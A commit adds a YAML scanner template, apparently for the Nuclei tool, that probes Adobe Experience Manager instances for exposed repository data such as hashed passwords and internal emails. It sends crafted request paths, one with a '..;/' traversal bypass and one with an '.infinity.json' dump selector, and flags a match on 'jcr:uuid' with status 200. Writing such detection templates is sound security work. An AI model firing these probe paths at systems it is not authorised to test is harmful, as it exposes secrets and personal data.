Create aem-secrets.yaml

http/misconfiguration/aem/aem-secrets.yaml

@@ -0,0 +1,32 @@
+id: aem-secrets
+
+info:
+  name: aem-secrets-1
+  author: boobooHQ
+  severity: high
+  description: Possible Juicy Files can be discovered at this endpoint. Search / Grep for secrets like hashed passwords ( SHA ) , internal email disclosure etc . 
+
+  tags: aem,adobe,hackerone
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}//content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json"
+      - "{{BaseURL}}/..;//content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json"
+
+    headers:
+      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+      Accept-Language: en-US,en;q=0.9,hi;q=0.8
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "jcr:uuid"
+        part: body
+        condition: and
+
+      - type: status
+        status:
+          - 200